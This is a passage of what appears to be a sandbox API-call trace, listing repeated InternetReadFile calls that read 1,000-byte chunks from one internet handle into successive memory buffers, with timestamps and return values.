hFile=0xcc000c, lpBuffer=0x344f448, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f448*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.928] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344f830, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344f830*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x344fc18, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x344fc18*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450000, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450000*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34503e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34503e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34507d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34507d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450bb8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450bb8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3450fa0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3450fa0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.929] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451388, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451388*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451770, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451770*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451b58, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451b58*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3451f40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3451f40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452328, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452328*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452710, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452710*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.930] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452af8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452af8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3452ee0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3452ee0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34532c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34532c8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34536b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34536b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3453a98, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3453a98*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3453e80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3453e80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454268, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454268*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.931] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454650, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454650*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454a38, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454a38*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3454e20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3454e20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3455208, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3455208*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34555f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34555f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34559d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34559d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.932] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3455dc0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3455dc0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34561a8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34561a8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3456590, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3456590*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3456978, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3456978*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3456d60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3456d60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457148, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457148*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457530, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457530*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.933] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457918, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457918*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3457d00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3457d00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34580e8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34580e8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34584d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34584d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34588b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34588b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3458ca0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3458ca0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459088, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459088*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.934] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459470, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459470*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459858, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459858*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3459c40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3459c40*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.935] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345a028, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345a028*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345a410, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345a410*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345a7f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345a7f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345abe0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345abe0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.937] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345afc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345afc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345b3b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345b3b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345b798, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345b798*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345bb80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345bb80*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345bf68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345bf68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345c350, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345c350*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.938] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345c738, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345c738*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345cb20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345cb20*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345cf08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345cf08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345d2f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345d2f0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345d6d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345d6d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345dac0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345dac0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345dea8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345dea8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.939] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345e290, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345e290*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345e678, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345e678*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345ea60, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345ea60*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345ee48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345ee48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345f230, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345f230*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345f618, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345f618*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.940] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345fa00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345fa00*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x345fde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x345fde8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34601d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34601d0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34605b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34605b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34609a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34609a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3460d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3460d88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.941] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461170*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461558*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461940*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3461d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3461d28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3462110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3462110*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34624f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34624f8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34628e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34628e0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.942] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3462cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3462cc8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34630b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34630b0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463498*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463880*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3463c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3463c68*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464050*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.943] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464438*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464820*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464c08*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3464ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3464ff0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34653d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34653d8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34657c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34657c0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3465ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3465ba8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.944] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3465f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3465f90*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466378*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466760*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466b48*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3466f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3466f30*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467318*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467700*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.945] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467ae8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3467ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3467ed0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34682b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34682b8*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x34686a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x34686a0*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3468a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3468a88*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3468e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3468e70*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469258*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.946] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469640*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469a28*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 [0095.947] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3469e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f5f0 | out: lpBuffer=0x3469e10*, lpdwNumberOfBytesRead=0x19f5f0*=0x3e8) returned 1 